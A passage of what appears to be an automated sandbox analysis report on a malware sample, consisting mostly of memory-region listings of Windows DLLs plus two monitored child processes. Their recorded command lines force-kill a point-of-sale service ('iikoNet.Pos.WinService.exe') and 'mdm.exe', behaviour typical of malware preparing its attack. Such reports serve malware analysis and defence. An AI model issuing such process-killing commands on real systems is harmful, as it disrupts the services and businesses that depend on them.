start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2999 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3000 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3001 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3002 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3003 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3004 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3005 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3006 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3007 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3008 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3009 start_va = 0x790000 end_va = 0x917fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 3010 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3011 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3012 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3013 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3014 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3015 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3016 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3017 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3018 start_va = 0x210000 end_va = 0x2cffff entry_point = 0x210000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3019 start_va = 0x490000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 3020 start_va = 0x580000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 3021 start_va = 0x640000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 3022 start_va = 0x920000 end_va = 0xaa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000920000" filename = "" Region: id = 3023 start_va = 0xab0000 end_va = 0x1eaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3024 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3025 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3026 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3027 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3028 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3029 start_va = 0x1eb0000 end_va = 0x1faffff entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 3030 start_va = 0x2010000 end_va = 0x204ffff entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 3031 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3032 start_va = 0x3e0000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3033 start_va = 0x2050000 end_va = 0x231efff entry_point = 0x2050000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3034 start_va = 0x2340000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 3035 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3036 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3037 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3038 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3039 start_va = 0x23b0000 end_va = 0x23effff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 3040 start_va = 0x23f0000 end_va = 0x242ffff entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 3041 start_va = 0x2480000 end_va = 0x24bffff entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3042 start_va = 0x24f0000 end_va = 0x252ffff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 3043 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3044 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3045 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3046 start_va = 0x6a730000 end_va = 0x6a747fff entry_point = 0x6a731335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 3047 start_va = 0x6a750000 end_va = 0x6a7e5fff entry_point = 0x6a76f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 191 os_tid = 0x7c0 Thread: id = 192 os_tid = 0x814 Thread: id = 193 os_tid = 0x824 Thread: id = 194 os_tid = 0x828 Thread: id = 195 os_tid = 0x894 Process: id = "23" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x594ae000" os_pid = "0x108" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3048 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3049 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3050 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3051 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3052 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3053 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3054 start_va = 0xe0000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3055 start_va = 0x7a0000 end_va = 0x7b5fff entry_point = 0x7a5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3056 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3057 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3058 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3059 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3060 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3061 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3062 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3063 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3064 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3065 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3066 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3067 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3068 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3069 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3070 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3071 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3072 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3073 start_va = 0x120000 end_va = 0x186fff entry_point = 0x120000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3074 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 3075 start_va = 0x5c0000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 3076 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3077 start_va = 0x6a8a0000 end_va = 0x6a8aefff entry_point = 0x6a8a12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3078 start_va = 0x6a8b0000 end_va = 0x6a8c0fff entry_point = 0x6a8b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3079 start_va = 0x6a8d0000 end_va = 0x6a8dcfff entry_point = 0x6a8d11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3080 start_va = 0x6a8e0000 end_va = 0x6a914fff entry_point = 0x6a8e13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3081 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3082 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3083 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3084 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3085 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3086 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3087 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3088 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3089 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3090 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3091 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3092 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3093 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3094 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3095 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3096 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3097 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3098 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3099 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3100 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3101 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3102 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3103 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3104 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3105 start_va = 0x400000 end_va = 0x587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 3106 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3107 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3108 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3109 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3110 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3111 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3112 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3113 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3114 start_va = 0x2b0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 3115 start_va = 0x5d0000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 3116 start_va = 0x7c0000 end_va = 0x1bbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 3117 start_va = 0x1bc0000 end_va = 0x1c7ffff entry_point = 0x1bc0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3118 start_va = 0x1ce0000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 3119 start_va = 0x1d70000 end_va = 0x1daffff entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 3120 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3121 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3122 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 3123 start_va = 0x6a580000 end_va = 0x6a5dbfff entry_point = 0x6a5a2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3124 start_va = 0x6a720000 end_va = 0x6a729fff entry_point = 0x6a72149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3125 start_va = 0x1de0000 end_va = 0x1e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 3126 start_va = 0x1e20000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 3127 start_va = 0x6a550000 end_va = 0x6a578fff entry_point = 0x6a556b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3128 start_va = 0x1c80000 end_va = 0x1cbffff entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 3129 start_va = 0x1f20000 end_va = 0x21eefff entry_point = 0x1f20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3130 start_va = 0x22d0000 end_va = 0x230ffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 3131 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3132 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3133 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3134 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3135 start_va = 0x250000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3136 start_va = 0x1d20000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 3137 start_va = 0x2360000 end_va = 0x239ffff entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 3138 start_va = 0x23a0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 3139 start_va = 0x6a710000 end_va = 0x6a71efff entry_point = 0x6a7121a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3140 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3141 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3142 start_va = 0x6a490000 end_va = 0x6a4a7fff entry_point = 0x6a491335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 3143 start_va = 0x6a4b0000 end_va = 0x6a545fff entry_point = 0x6a4cf8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 196 os_tid = 0x3f8 Thread: id = 197 os_tid = 0x974 Thread: id = 198 os_tid = 0x994 Thread: id = 199 os_tid = 0x9a8 Thread: id = 200 os_tid = 0x9a4 Process: id = "24" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x59273000" os_pid = "0x9ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM mdm.exe /IM mdm.exe " cur_dir = 